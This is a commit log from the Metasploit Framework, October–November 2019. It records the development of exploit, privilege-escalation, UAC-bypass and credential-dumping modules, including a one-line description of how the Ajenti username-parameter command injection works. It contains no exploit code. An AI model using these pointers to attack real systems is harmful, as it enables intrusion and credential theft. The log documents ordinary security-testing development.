Shelby Pace f6ef34b886 remove sleep 2019-11-01 09:26:04 -05:00
scanu92 beffab0787 Update cmsms_object_injection_rce.rb 2019-11-01 15:26:02 +01:00
scanu92 7cc1175287 Update cmsms_object_injection_rce.rb
Add NormalRanking to cmsms_object_injection_rce module
2019-11-01 15:15:49 +01:00
Shelby Pace 1717001be1 attribution 2019-11-01 09:01:14 -05:00
sk4 af0761bcfd Add CMS Made Simple object injection exploit module 2019-11-01 12:11:38 +01:00
Metasploit bf9a891bfe automatic module_metadata_base.json update 2019-11-01 03:08:12 -05:00
Brendan Coles 294cbcffb6 Land #12382, Add Linux Micro Focus (HPE) Data Protector omniresolve Privesc (CVE-2019-11660) 2019-11-01 08:06:01 +00:00
bcoles b08e031863 Update module description 2019-11-01 17:11:33 +11:00
bcoles c6e739c76d Code cleanup 2019-11-01 16:30:37 +11:00
Shelby Pace be07ded3fa handle stderr and stdout from compilation 2019-10-31 16:09:44 -05:00
Clément Notin 38c09b8aa3 Scanner modules: explain limitation of THREADS option
Closes #12521
2019-10-31 19:26:45 +01:00
William Vu 128b9cd44b Reword related module info 2019-10-31 13:07:41 -05:00
William Vu df535676a7 Add related module info 2019-10-31 12:48:52 -05:00
William Vu f302df31aa Add note about opts['headers'] 2019-10-31 12:24:04 -05:00
William Vu ce656a850a Update raw_headers 2019-10-31 12:16:31 -05:00
Metasploit 26748dc0ac Bump version of framework to 5.0.59 2019-10-31 12:08:26 -05:00
Shelby Pace 8bb1c5102b opt for inline asm instead of pre-compiled object 2019-10-31 11:55:40 -05:00
William Vu 866a1c9bed Fix Boolean validation to match our idiom 2019-10-31 11:29:43 -05:00
William Vu b9baa80823 Refactor to use config hash and new option 2019-10-31 11:11:43 -05:00
William Vu f5ce31519c Fix style, once more with feeling 2019-10-31 09:59:35 -05:00
wvu-r7 dc62ea080b Fix style
Co-Authored-By: bcoles <bcoles@gmail.com>
2019-10-31 09:54:18 -05:00
Metasploit 641ecb65ca automatic module_metadata_base.json update 2019-10-31 08:33:31 -05:00
Shelby Pace 0b4a0b3148 Land #12476, add Nostromo dir traversal RCE 2019-10-31 08:24:41 -05:00
Shelby Pace 99fd254348 add reference 2019-10-31 08:23:57 -05:00
Quentin Kaiser 4a6c1d824b Merge branch 'CVE-2019-16278' of github.com:QKaiser/metasploit-framework into CVE-2019-16278 2019-10-31 10:26:16 +01:00
Quentin Kaiser ca81793860 Forgot to put ForceExploit in registered options. 2019-10-31 10:25:26 +01:00
Christian Mehlmauer a36886301b Land #12513, migrate to alpine 3.10 and fix ruby reference 2019-10-31 08:20:29 +01:00
William Vu 81da0d18c6 Add blurb about pre-auth file read 2019-10-30 20:41:57 -05:00
bwatters-r7 340b73f3c6 Add Windows Escalate UAC Protection Bypass (Via dot net profiler) 2019-10-30 20:38:44 -05:00
William Vu f3a6aeea60 Add true post_auth? definition 2019-10-30 20:31:58 -05:00
William Vu 77c26e9a70 Add Pulse Secure VPN arbitrary command execution 2019-10-30 20:08:02 -05:00
William Vu a86388b53f Add module traits 2019-10-30 18:55:16 -05:00
ducksecops 2f26ddf156 Updated Dockerfile to Alpine 3.10 with Ruby 2.6.5 2019-10-30 22:16:03 +00:00
Quentin Kaiser a55c5c6765 Update documentation/modules/exploit/multi/http/nostromo_code_exec.md
s/Nostrom/Nostromo/

Co-Authored-By: Shelby Pace <40177151+space-r7@users.noreply.github.com>
2019-10-30 15:38:50 +01:00
William Vu ac7a28d91d Add module doc 2019-10-29 23:14:53 -05:00
William Vu 5d71af2dc5 Clarify dumped files are looted regardless 2019-10-29 23:10:57 -05:00
William Vu b55af213aa Set PRINT to true now that it's limited to manual 2019-10-29 22:59:26 -05:00
William Vu 1f5f720058 Rewrite module 2019-10-29 22:21:31 -05:00
William Vu 52ed19f5b8 Merge remote-tracking branch 'upstream/master' into pr/12220 2019-10-29 21:30:37 -05:00
William Vu b268feda73 Allow partial response due to timeout 2019-10-29 21:25:21 -05:00
Onur ER 379fb3b65c Targets version fixed 2019-10-29 23:04:42 +03:00
Onur ER e07289c71a Update Ajenti Command Injection module
Module name changed.
Removed space.
Check module issues fixed.
random_password moved into json_body.
2019-10-29 22:49:11 +03:00
Metasploit b7acbfe8b6 automatic module_metadata_base.json update 2019-10-29 14:36:15 -05:00
Brent Cook 5169744fd8 Land #12505, enhance grub_creds module from grub_password module 2019-10-29 14:28:43 -05:00
Onur ER 89e56cf26d Rename ajenti_login_rce.rb to ajenti_auth_username_cmd_exec.rb 2019-10-29 22:19:59 +03:00
Onur ER 9b9d3013a4 Module name changed.
Co-Authored-By: bcoles <bcoles@gmail.com>
2019-10-29 22:18:36 +03:00
Metasploit 352e7a83ac Bump version of framework to 5.0.58 2019-10-29 14:09:13 -05:00
Adam Cammack de845214d1 Add module check result tracking to RPC API
This adds a few sets and a hash to the Msf::Simple::Framework that help
keep track of running checks and their eventual results.
2019-10-29 12:45:09 -05:00
Brendan Coles f3bc8580c0 Add documentation 2019-10-29 15:59:18 +00:00
Brendan Coles 5c17dc6a74 Add rConfig install Command Execution exploit 2019-10-29 15:53:59 +00:00
Quentin Kaiser f03f5e4904 Documentation updated based on latest module version. 2019-10-29 16:13:25 +01:00
Shelby Pace a04291678f add require, fix module context generate 2019-10-29 08:35:04 -05:00
Quentin Kaiser 0531dd7bb9 Hash rocket alignment. 2019-10-29 12:28:39 +01:00
Quentin Kaiser bc0c2bf721 check function rewrite. 2019-10-29 12:27:15 +01:00
Quentin Kaiser 436d6781c1 Fix description. 2019-10-29 12:25:01 +01:00
Quentin Kaiser b357db22cf Fix description. 2019-10-29 12:24:22 +01:00
Quentin Kaiser 8bbb33c483 Generic name. 2019-10-29 12:24:00 +01:00
Quentin Kaiser b6dd30302a Rewriting of command stager, based on exploits/unix/webapp/webmin_backdoor. 2019-10-29 12:23:19 +01:00
Brent Cook 04c3b68820 fix no-creds case, don't print table and creds unless we found some 2019-10-29 04:31:12 -05:00
Brent Cook 99ed2b7bf2 merge modules and documentation 2019-10-29 04:27:25 -05:00
Brent Cook 4abee63936 only loot config files with passwords 2019-10-29 04:18:08 -05:00
Brent Cook 4c1f117566 add auto targeting from grub.d and FILENAME option 2019-10-29 04:17:47 -05:00
Brent Cook 0ebcda3aaa merge credits 2019-10-29 04:17:26 -05:00
Brent Cook 4d8e9bad26 expand file list from grub_cred 2019-10-29 03:42:23 -05:00
Brent Cook bd76e1f2cb initial tidy pass w/rubocop 2019-10-29 03:42:01 -05:00
Metasploit 5543692f2b automatic module_metadata_base.json update 2019-10-29 03:36:02 -05:00
Brent Cook c6ecef3dc7 Merge #11426, other grub password extraction module 2019-10-29 03:34:36 -05:00
Brent Cook effc8cbe72 Land #12500, Use check_code.message, not .second 2019-10-29 03:26:38 -05:00
Shelby Pace f65c5a30b2 use SecureRandom, bail if no db present 2019-10-28 16:25:28 -05:00
Shelby Pace c9dc2141a0 use stdlib flag instead of nostartfiles 2019-10-28 16:06:21 -05:00
Shelby Pace 041b91961f handle nil nonce 2019-10-28 15:39:37 -05:00
Onur ER bbf405bf92 Added EDB number instead of url 2019-10-28 22:09:01 +03:00
Onur ER 5dea40f43b Added Ajenti 2.1.31 exploit
Ajenti is an open source, web-based control panel that can be used for a large variety of server management tasks. It can install packages and run commands, and you can view basic server information such as RAM in use, free disk space, etc. All this can be accessed from a web browser.

This module exploits a command injection in Ajenti <= 2.1.31.
By injecting a command into the username POST parameter to api/core/auth, a shell can be spawned.
2019-10-28 21:39:13 +03:00
bwatters-r7 23e3bc3e96 Land #12502, Fix process migration on reverse_tcp meterpreter sessions w/ newer Ruby
Merge branch 'land-12502' into upstream-master
2019-10-28 08:11:31 -05:00
Brent Cook 6a9cc9b384 use the common method for enabling secure TLV channel 2019-10-28 06:25:51 -05:00
Brent Cook 4f33267db5 Wait for threads to exit after killing them. 2019-10-28 06:25:15 -05:00
Brendan Coles e9a7ceaf1c Use CheckCode.message - Fix #12499 2019-10-28 03:24:20 +00:00
William Vu ec0974222c Fix module title again 2019-10-27 11:48:50 -05:00
William Vu e010f48a3b Move module to coldfusion_rds_auth_bypass 2019-10-27 11:25:56 -05:00
William Vu 2cc5f23915 Fix module title 2019-10-27 11:25:40 -05:00
h00die 57d7c8b6b2 android docs 2019-10-25 22:15:33 -04:00
bwatters-r7 3483c50a86 Add Windows backup system sdclt uac bypass module 2019-10-25 15:01:56 -05:00
Metasploit 7d6235e062 Bump version of framework to 5.0.57 2019-10-25 13:43:22 -05:00
bwatters-r7 326a2d2459 Land #12491, Update .mailmap
Merge branch 'land-12491' into upstream-master
2019-10-25 12:05:51 -05:00
bwatters-r7 315164b388 Land #12467, Bug Fix: nops generate '-s' option ignored
Merge branch 'land-12467' into upstream-master
2019-10-25 12:02:20 -05:00
Brent Cook c62f4598f8 Land #12482, Fix the default meterpreter prompt 2019-10-25 11:11:22 -04:00
Wyatt Dahlenburg d12fce600d Use regex instead of splitting strings 2019-10-25 09:50:53 -05:00
Christophe De La Fuente c37e2eaebb Update email mapping for @wvu 2019-10-25 13:08:06 +02:00
nil0x42 d7b629c858 Apply suggestions from code review
Co-Authored-By: Brendan <bwatters@rapid7.com>
2019-10-25 05:34:56 -03:00
William Vu a0d1f02fd1 Fix failed login check for ColdFusion 9.something
It was merely "ColdFusion Administrator" for the version I tested.
2019-10-24 17:07:45 -05:00
Wyatt Dahlenburg 44181d3261 Patched up @bcoles suggestions 2019-10-24 14:04:21 -05:00
Christophe De La Fuente 6c6ceb9297 Remove unused mapping for @wvu 2019-10-24 19:52:52 +02:00
Christophe De La Fuente 40d2d7356a Add mapping to .mailmap for cdelafuente-r7 2019-10-24 19:48:41 +02:00
Metasploit 519b75d4d3 Bump version of framework to 5.0.56 2019-10-24 12:06:04 -05:00
Wyatt Dahlenburg 0dd2ce9f45 Ignore keys that have passphrases 2019-10-23 23:11:13 -05:00
h00die 47fcd52f65 Land #12456 aux scanner html title docs 2019-10-23 20:58:34 -04:00
h00die 1c9eb0f788 change < to &lt; to prevent md parsing 2019-10-23 20:57:54 -04:00
bwatters-r7 13b54efbfa We don't need no stinking regexes.... 2019-10-23 13:47:46 -05:00
Metasploit 31dc9197d7 automatic module_metadata_base.json update 2019-10-23 13:37:15 -05:00
Shelby Pace fcc9ad628c Land #12473, add xscreensaver log privesc 2019-10-23 13:27:45 -05:00
Metasploit 4c3abbae01 automatic module_metadata_base.json update 2019-10-23 12:47:24 -05:00
Wei Chen 50baaf4d9c Land #12464, Add ThinVNC Directory Traversal module 2019-10-23 12:39:20 -05:00
Wyatt Dahlenburg 32a5c68c6c Migrated Post module to auxiliary to check from a local machine 2019-10-23 11:32:38 -05:00
Metasploit b65e55f7e8 automatic module_metadata_base.json update 2019-10-23 09:01:45 -05:00
Brendan Coles 991ccdbda5 Land #12106, Add Linux PTRACE_TRACEME local root exploit 2019-10-23 14:01:14 +00:00
Loïc Jaquemet 622846d682 Assign RPORT directly in report_cred
Assign RPORT directly in report_cred, do not use temp `port` var
2019-10-23 07:30:06 -06:00
Tim W 8c93b219d1 fix compile.rb and rubocop 2019-10-23 20:54:42 +08:00
Tim W 7ff71819e9 add architecture check to check method 2019-10-23 20:38:55 +08:00
Tim W 3cb9f2d709 remove pointless upload_binary function 2019-10-23 20:28:13 +08:00
Tim W 3b5d0b98e7 add a basic check method using loginctl 2019-10-23 19:50:19 +08:00
Metasploit 0e8ed964db automatic module_metadata_base.json update 2019-10-23 01:55:48 -05:00
Tim W 94dd87b004 Land #12483, futex_requeue improvements 2019-10-23 14:47:56 +08:00
Tim W 7d25e321ef add some more comments 2019-10-23 14:45:32 +08:00
Brendan Coles ab9d1470d2 Use workaround for horrific command tokenisation 2019-10-23 06:37:30 +00:00
h00die 2d829f9d46 first upgrade on futex 2019-10-22 21:05:55 -04:00
Spencer McIntyre e771147046 Fix the default meterpreter prompt 2019-10-22 20:02:32 -04:00
Metasploit 92bf2a5067 automatic module_metadata_base.json update 2019-10-22 14:19:32 -05:00
Shelby Pace e8469dca93 Land #11025, add Xorg SUID Modulepath Privesc 2019-10-22 14:11:00 -05:00
Loïc Jaquemet f39a7f2a33 Remove space on empty line
Remove space on empty line
2019-10-22 12:14:03 -06:00
Loïc Jaquemet 22f9b4a732 define port from options
otherwise, L172 fails, as port (RPORT) is not defined
2019-10-22 11:57:02 -06:00
bwatters-r7 32e7787821 Clearly, I fail at ruby implicit returns
Changed the newline remove to a chomp in case the newline is not there
2019-10-22 11:51:00 -05:00
Shelby Pace 1ceaa1d7ba add documentation 2019-10-22 10:43:35 -05:00
Shelby Pace f4a54df262 change location of rescue, method name 2019-10-22 09:31:43 -05:00
Brendan Coles 39db3be145 Update tested versions 2019-10-22 06:35:57 +00:00
Shelby Pace 1fd09b6a81 add solaris targets and Metasm usage 2019-10-21 16:13:10 -05:00
Metasploit 166a20e7d5 automatic module_metadata_base.json update 2019-10-21 15:43:35 -05:00
William Vu 3565b0efb8 Land #12365, Total.js CMS widget creation RCE 2019-10-21 15:22:09 -05:00
Quentin Kaiser 295d609595 Add CVE-2019-16278 exploit documentation. 2019-10-21 21:15:04 +02:00
Metasploit 800c656fd7 automatic module_metadata_base.json update 2019-10-21 12:45:47 -05:00
Brent Cook 58b8990131 Land #12462, add post module to gather grub passwords 2019-10-21 12:35:52 -05:00
Brent Cook 99d55d6110 Land #12423, added docs for git_scanner and goahead_traversal module 2019-10-21 12:24:54 -05:00
bwatters-r7 ee282fe84c Land #12458, Refactor extended check messages
Merge branch 'land-12458' into upstream-master
2019-10-21 12:23:06 -05:00
Brent Cook 519c73dcb3 Land #12450, add docs for the heartbleed module 2019-10-21 12:21:53 -05:00
Brent Cook 100c0a7580 Land #12438, add support for custom Meterpreter prompts 2019-10-21 12:20:06 -05:00
Metasploit 8ca882ddd8 automatic module_metadata_base.json update 2019-10-21 11:13:35 -05:00
Quentin Kaiser d76ea0ca59 Initial module version for Nostromo RCE (CVE-2019-16278). 2019-10-21 18:11:44 +02:00
bwatters-r7 eaa752454b Land #12399, Add Urgent/11 vulnerability scanner
Merge branch 'land-12399' into upstream-master
2019-10-21 11:05:09 -05:00
Brent Cook cc8ed049c0 add module docs 2019-10-21 11:03:23 -05:00
Brent Cook be57b284a9 split more neatly, support commas 2019-10-21 10:43:28 -05:00
Matteo Cantoni 4d7f29993a Small changes to the brute_dirs aux module 2019-10-21 16:45:42 +02:00
Mustafa Çalap 647839d8b5 add more examples for http_title (#1)
add more examples for http_title
2019-10-21 10:14:00 +02:00
Brendan Coles cdf5ef5e2d Add documentation 2019-10-21 06:16:09 +00:00
Brendan Coles 84430c2a66 Add Solaris xscreensaver log Privilege Escalation module 2019-10-21 06:14:50 +00:00
Brent Cook 7cb683646f remove unused RPORT 2019-10-20 21:40:05 -05:00
Brent Cook def423c261 add RHOSTS support for multi-port 2019-10-20 21:37:55 -05:00
Brent Cook b1942bb9ec use probe socket for detection, pad TCP NOP explicitly 2019-10-20 21:31:33 -05:00
Brent Cook f68e574795 close sockets, do preflight check to avoid F+ 2019-10-20 20:26:16 -05:00
h00die 0fbf553a49 add more examples 2019-10-20 21:18:30 -04:00
Brent Cook d005c2d3ee malform packets more (once more with feeling), add report mixin for reporting 2019-10-20 20:00:56 -05:00
h00die f4e15b98ee Land #12454 docs for redis file upload 2019-10-20 20:35:56 -04:00
h00die c35554b37c redis doc touchup 2019-10-20 20:34:11 -04:00
sinn3r 7683ab4fc1 Land #12455, Add generate_random_c method to randomized compiler
Add generate_random_c method to randomized compiler
2019-10-18 15:51:19 -05:00
nil0x42 e48132d7df Bug Fix: nops generate '-s' option ignored
This error was trying to parse the contents of undefined '-c' option instead of '-s'.
Making impossible the definition of SaveRegisters from the console.

Step to reproduce:
`msfconsole -q -x 'use nop/x86/single_byte; generate -s esp 10; exit' | grep -v '0m' | tr -d '\n\\x+ ";' | rasm2 -b 32 -D -`
```asm
0x00000000   1                       0e  push cs
0x00000001   1                       d6  salc
0x00000002   1                       54  push esp
0x00000003   1                       f8  clc
0x00000004   1                       43  inc ebx
0x00000005   1                       56  push esi
0x00000006   1                       5a  pop edx
0x00000007   1                       56  push esi
0x00000008   1                       5a  pop edx
0x00000009   1                       44  inc esp
```
As we can see, 'inc esp', and some 'push/pop' instructions have been generated although having explicitly asked to save `esp` register through `generate` command.

This commit addresses this issue
2019-10-18 17:31:03 +00:00
William Vu b870cadb0f Reregister INTERFACE datastore option
In case configuration failed.
2019-10-18 12:08:45 -05:00
William Vu 3d08f7c746 Update DisclosureDate comment 2019-10-18 12:07:28 -05:00
William Vu 3c74bdd7ee Add CRASH_SAFE module trait to notes 2019-10-18 12:01:27 -05:00
Shelby Pace ca755843f1 remove call to generate_random_c 2019-10-18 11:06:40 -05:00
Adam Cammack 121a6fd0e7 Order matters sometimes
Since the constants are evaluated when they are declared, they need to
be after the new `#initialize` method since it sets the messages.
2019-10-18 10:57:16 -05:00
Shelby Pace 42b251be01 generate random c within compile_random_c 2019-10-18 08:28:25 -05:00
Metasploit aa4534bb50 automatic module_metadata_base.json update 2019-10-18 06:36:43 -05:00
dwelch-r7 0563edcd28 Land #11420, Add exchange web services aux module 2019-10-18 12:28:24 +01:00
dwelch-r7 9ad5e353fe Use latest framework version 2019-10-18 12:21:33 +01:00
Jeffrey Martin b2c753d446 Land #12459, Imports need workspace 2019-10-17 17:01:12 -05:00
bwatters-r7 d1817d8f12 Fix the preceeding newline upstream when we read it rather than when
after we pass it around for a while.
2019-10-17 14:46:20 -05:00
bwatters-r7 299865bdeb * Clean up cmd_exec test module's dead code and add support for
inconsistent windows platform type.
* Add extra front chomp to shell_command response string because
there's a leading newline there.. for some reason?
2019-10-17 13:30:43 -05:00
Metasploit ccd4e93a9e Bump version of framework to 5.0.55 2019-10-17 12:05:32 -05:00
Tim W 37011c5ec0 update author and add documentation 2019-10-17 22:28:17 +08:00
Brendan Coles de3cde6a15 Add documentation 2019-10-17 07:51:33 +00:00
Brendan Coles 43c980ed29 Add ThinVNC Directory Traversal module 2019-10-17 07:44:19 +00:00
bwatters-r7 ef1fe8d62a Fix delimiter selection on commands 2019-10-16 20:06:50 -05:00
Taeber Rapczak c92ea2b799 Add documentation for post module 2019-10-16 19:06:14 -04:00
h00die 4c6f0b1562 repeat and nmap 2019-10-16 18:00:57 -04:00
Mustafa Çalap c15d5d1ec9 Add confirming with section to http title module doc 2019-10-16 19:58:54 +02:00
Brent Cook 856b3358de Land #12416, add tftpbrute docs 2019-10-16 12:05:41 +01:00
Taeber Rapczak 1c9a3c74d5 Add post module to collect grub passwords
closes #11166
2019-10-16 00:45:33 -04:00
Adam Cammack ba9c46ee91 Remove CheckCodes kludge from external modules
Now that the new CheckCode class can add boilerplate human text by
itself we no longer need the hash of built-in values.
2019-10-15 16:24:35 -05:00
Adam Cammack 7e5f866ffe Keep extended check reasons separate from messages
Have the long code text and the reason glued together does not make
sense for all check displayers. I would prefer to have this at a
different level, but I'm not too keen on refactoring all the places
where it's touched. I couldn't find any remaining places that depend on
the length of the struct, so this looks safe to add straight as another
field.
2019-10-15 16:24:02 -05:00
Jeffrey Martin 7505e1bf71 Consolidate logic for actions taken on a workspace
* When renaming a workspace allow validation to handle all cases the same
* Do not display backtrace on console for rename failure, this is still logged to framework.log
2019-10-15 16:12:11 -05:00
Jeffrey Martin 289a9c56f3 when making requests to report send workspace
The report methods of the db layer require the workspace during import.
2019-10-15 15:32:00 -05:00
Jeffrey Martin b494bf5d65 cred imports need a workspace object passed to lib
Metasploit::Credential importers expect an Mdm::Workspace object.
2019-10-15 14:51:53 -05:00
Mustafa Çalap 80115a5cf2 Add documentation for http title module 2019-10-15 21:34:52 +02:00
Wei Chen 0ebc971d29 Use CmdStager mixin 2019-10-15 14:00:58 -05:00
Shelby Pace 3c50f3d54e add generate_random_c method 2019-10-15 12:50:58 -05:00
Metasploit b1ae404e6c automatic module_metadata_base.json update 2019-10-15 11:23:22 -05:00
bwatters-r7 f5bb6f8ca2 Land #12428, Extend check codes with custom messages
Merge branch 'land-12428' into upstream-master
2019-10-15 11:06:33 -05:00
Wei Chen bb7c42b2ce Arch and disclosure date 2019-10-15 10:25:20 -05:00
Wei Chen a3331dba9f Move totaljs cms module and doc 2019-10-15 10:11:14 -05:00
pkb1s 8eed4c7545 Update exchange_web_server_pushsubscription.rb 2019-10-15 15:43:55 +01:00
Metasploit feeef90c82 automatic module_metadata_base.json update 2019-10-15 09:35:24 -05:00
Brent Cook 59bf03b947 Land #12420, Add environment-based API token authentication 2019-10-15 15:27:05 +01:00
Emmett Kelly d670e31e34 Remove unnecessary requirement 2019-10-15 15:18:41 +01:00
Mustafa Çalap 7eb1f07062 Add documentation for redis file_upload module 2019-10-15 14:03:19 +02:00
William Vu 4a9a3604f6 Fix tcp_malformed_options_detection scoring
Typo defaulted @vxworks_score and @ipnet_score to 100 instead of -100.
This commit also refactors the method to align with the others.
2019-10-14 21:00:52 -05:00
William Vu 3e0b58613a Flip TCP source/destination logic 2019-10-14 20:17:39 -05:00
Brent Cook d3208d8196 add tcp malformed options detection
Authored by busterb two commits ago and recommitted by wvu now. Oops.
2019-10-14 20:10:17 -05:00
William Vu aaf9e688b9 Remove Python external module 2019-10-14 19:38:43 -05:00
William Vu 1b0b0e8ce5 Add tcp_dos_detection 2019-10-14 19:37:59 -05:00
Shelby Pace ec9ea4ce0d Land #12366, fix nil check in atutor module 2019-10-14 18:14:06 -05:00
William Vu b667965b58 Refactor detections and add scoring 2019-10-14 17:26:08 -05:00
Shelby Pace 4997d72201 add options for keeping/deleting files
This change makes it optional to keep/delete
the files that are created when generating
compiled payloads
2019-10-14 13:34:30 -05:00
William Vu f5c7e568b9 Clarify that packet configuration sends UDP 2019-10-14 13:31:55 -05:00
William Vu ca86041951 Configure Ethernet and IP headers automatically 2019-10-14 13:18:27 -05:00
William Vu 3a0a9868aa Prefer Packet#to_w 2019-10-14 12:41:44 -05:00
William Vu 14ce82967e Finish echo request and use capture_sendto 2019-10-14 12:10:28 -05:00
William Vu 9f3d65b9fe Prefer Packet#payload 2019-10-14 11:59:03 -05:00
William Vu 0b7b88e397 Start work on icmp_timestamp_detection 2019-10-14 11:53:29 -05:00
William Vu 6321946a82 Start work on scanner 2019-10-14 11:33:13 -05:00
Brent Cook 63acf686a6 Fixed typos, extended messages append existing ones 2019-10-14 15:52:24 +01:00
Shelby Pace d4ac2efcc9 add parsing function and cred table 2019-10-14 09:34:55 -05:00
h00die 55df5f69bb Land #12418 redis_server scanner docs 2019-10-13 21:18:56 -04:00
h00die 182259f740 md format update 2019-10-13 21:17:54 -04:00
Mustafa Çalap be3e26411b Add options header for redis_server module doc 2019-10-13 20:09:18 +02:00
h00die 3dcc9182d8 heartbleed docs 2019-10-13 09:47:34 -04:00
Brent Cook feefc8d934 fix review notes 2019-10-11 16:32:58 -05:00
Brent Cook fd447736dc colors are safe on Windows 2019-10-11 16:23:10 -05:00
Brent Cook b300284d82 switch logic 2019-10-11 16:22:51 -05:00
William Vu 1b696a06a1 Merge remote-tracking branch 'upstream/master' into pr/12399 2019-10-11 13:05:55 -05:00
Shelby Pace 3d2d49259a use uuid to get key/nonce, fall back to datastore 2019-10-11 12:24:56 -05:00
Brent Cook 602b7f2091 begin ruby port 2019-10-11 11:26:19 -05:00
Metasploit e7233c1f8e automatic module_metadata_base.json update 2019-10-11 10:58:36 -05:00
Brent Cook b4c184c01c move to better place 2019-10-11 10:57:07 -05:00
William Vu 58f665209a Land #12444, CONTRIBUTING.md update on questions 2019-10-11 10:50:36 -05:00
William Vu 92cae35e72 Fix typo 2019-10-11 10:50:25 -05:00
Jeffrey Martin c139786240 add some requests about how to use PRs efficiently 2019-10-11 10:43:23 -05:00
Jeffrey Martin fe027e4ee0 correct PR queue link text 2019-10-11 10:30:37 -05:00
OJ 82c77a4ec8 Land #12443 Fix Python reverse_http/s 2019-10-11 14:46:51 +10:00
Spencer McIntyre 8bb9f1798b Add a few more variables including local variants 2019-10-10 22:20:37 -04:00
Spencer McIntyre 85a39f75d8 Use a larger payload size to include the UUID 2019-10-10 22:08:26 -04:00
Spencer McIntyre ef81205123 Add the %M meterpreter prompt var 2019-10-10 21:13:12 -04:00
Spencer McIntyre d87308e9c0 Fix a couple of bugs in the MeterpreterPrompt 2019-10-10 21:13:12 -04:00
Spencer McIntyre 48f1e1d909 Add the %D and %U meterpreter prompt chars 2019-10-10 21:13:12 -04:00
Spencer McIntyre f63fd37938 Support a dynmaic meterpreter prompt 2019-10-10 21:13:12 -04:00
h00die bd60d009f8 Land #12367 tool to manage docs better 2019-10-10 20:41:36 -04:00
Metasploit 3fc7c77b78 automatic module_metadata_base.json update 2019-10-10 17:08:49 -05:00
Wei Chen 12c930a445 Land #12136, Add post module for dumping credentials out of NagiosXI 2019-10-10 16:59:40 -05:00
Wei Chen ffdfe33e11 Check unexpected scenarios 2019-10-10 16:57:49 -05:00
Hugo Kermabon 2bcf62c727 Merge pull request #3 from h00die/land-12367
add links
2019-10-10 21:45:03 +02:00
Metasploit d4b0f4d5a0 automatic module_metadata_base.json update 2019-10-10 14:17:28 -05:00
h00die fff6286289 Land #12437 docs for wp_dukapress_file_read 2019-10-10 15:08:56 -04:00
h00die fccb7b0efc dukapress correct versions 2019-10-10 15:05:57 -04:00
h00die 095283b861 Land #12436 docs for wordpress_scanner 2019-10-10 15:02:53 -04:00
h00die d321f5ee47 Land #12435 wordpress_xmlrpc_login docs 2019-10-10 14:58:27 -04:00
Shelby Pace e8abbfe5c2 add db usage 2019-10-10 12:16:10 -05:00
Shelby Pace 8469515651 set a default for opt_level 2019-10-10 12:16:10 -05:00
Shelby Pace b78b36dc8a add utility module for retrieving chacha key/nonce 2019-10-10 12:16:10 -05:00
Shelby Pace 7c8af0754d add warning about db 2019-10-10 12:16:10 -05:00
Shelby Pace fd347be3dc make optimization level configurable 2019-10-10 12:16:10 -05:00
Shelby Pace b674f3dda3 add AlignRSP call, remove begin from linker script 2019-10-10 12:16:10 -05:00
Shelby Pace 12f4a89629 remove 64bithelper, add VirtualFree 2019-10-10 12:16:10 -05:00
Shelby Pace ee67361314 modify opt level based on architecture 2019-10-10 12:16:10 -05:00
Shelby Pace e295732d3f generate alphanumeric key/nonce 2019-10-10 12:16:10 -05:00
Shelby Pace 4b8a1a99e0 use new key after session begins 2019-10-10 12:16:10 -05:00
Shelby Pace e4c25a7e2b separate encryption function for payloads 2019-10-10 12:16:10 -05:00
Shelby Pace bb742771e5 add stager and stage for x64 arch 2019-10-10 12:16:10 -05:00
Shelby Pace 2d00e7332a fix staged payload 2019-10-10 12:16:10 -05:00
Shelby Pace c3a7d377f4 add payload for X64 arch 2019-10-10 12:16:10 -05:00
Shelby Pace ca45d77595 randomize key 2019-10-10 12:16:10 -05:00
Shelby Pace c7b42f71a0 change description 2019-10-10 12:16:10 -05:00
Shelby Pace 3e6283c193 add staged payload 2019-10-10 12:16:10 -05:00
Shelby Pace e17013867a add stager code 2019-10-10 12:16:09 -05:00
Shelby Pace fe1b802cf9 check for dependency in stager/stage 2019-10-10 12:16:09 -05:00
Shelby Pace 7130e8dc98 use binread instead of File.open/read 2019-10-10 12:16:09 -05:00
Shelby Pace f39fc3a82d remove extraneous data from shellcode 2019-10-10 12:16:09 -05:00
Shelby Pace db0abdbec8 use correct method 2019-10-10 12:16:09 -05:00
Shelby Pace 64145cdbf2 add header files 2019-10-10 12:16:09 -05:00
Shelby Pace 7342a4579a add dependency check code 2019-10-10 12:16:09 -05:00
Shelby Pace 23028a1094 add code to read exe/strip null bytes 2019-10-10 12:16:09 -05:00
Shelby Pace b9794d76ac add GlobalFree 2019-10-10 12:16:09 -05:00
Shelby Pace 7dca0ae8e9 remove comments, add option 2019-10-10 12:16:09 -05:00
Shelby Pace 197d4be632 add compiler module 2019-10-10 12:16:09 -05:00
Shelby Pace 506ca5976d change function names, modify opt 2019-10-10 12:16:09 -05:00
Shelby Pace f73b7826a8 separate options from payload 2019-10-10 12:16:09 -05:00
Shelby Pace f32c33ce13 fix careless mistakes 2019-10-10 12:16:09 -05:00
Shelby Pace 71eff44404 format datastore options, concat c src 2019-10-10 12:16:09 -05:00
Shelby Pace be208106c8 replace hard-coded hashes with block_api call 2019-10-10 12:16:09 -05:00
Shelby Pace 31aa2b7452 add comment, remove puts 2019-10-10 12:16:09 -05:00
Shelby Pace 3e2c8f7779 add Dependency metadata for payloads 2019-10-10 12:16:09 -05:00
Shelby Pace b1cae12315 fix 'final' error, chacha20 in session 2019-10-10 12:14:27 -05:00
Shelby Pace 2c3c448abc add ruby chacha encryption and session type 2019-10-10 12:14:27 -05:00
Metasploit 6c44605799 Bump version of framework to 5.0.54 2019-10-10 12:05:04 -05:00
weh fa292d3184 Change vhost option 2019-10-10 18:36:26 +02:00
weh 98a7649528 Fix plugin version number 2019-10-10 18:34:53 +02:00
Patrik Wehrli 73be8cf7c2 Update vhost option in verification steps 2019-10-10 17:05:11 +02:00
Patrik Wehrli 67a363cce9 Replace domain with hostname 2019-10-10 17:01:08 +02:00
Patrik Wehrli a450c64f12 Change vhost option to domain 2019-10-10 16:57:20 +02:00
weh 6cb27a22db Remove trailing spaces 2019-10-10 12:45:45 +02:00
weh bed0369af7 Apply Pullrequest Feedback 2019-10-10 12:44:19 +02:00
weh 00a7bb90a1 Apply Pullrequest Feedback 2019-10-10 12:41:20 +02:00
weh 1ba3b1326f Apply Pullrequest Feedback 2019-10-10 08:55:05 +02:00
Tim W 8f01ea3c49 update docs description 2019-10-10 13:38:37 +08:00
Tim W 4d4754a389 feedback from bcoles 2019-10-10 13:30:31 +08:00
Tim 620609c955 Update lib/msf/core/post/linux/compile.rb
Co-Authored-By: bcoles <bcoles@gmail.com>
2019-10-10 13:13:40 +08:00
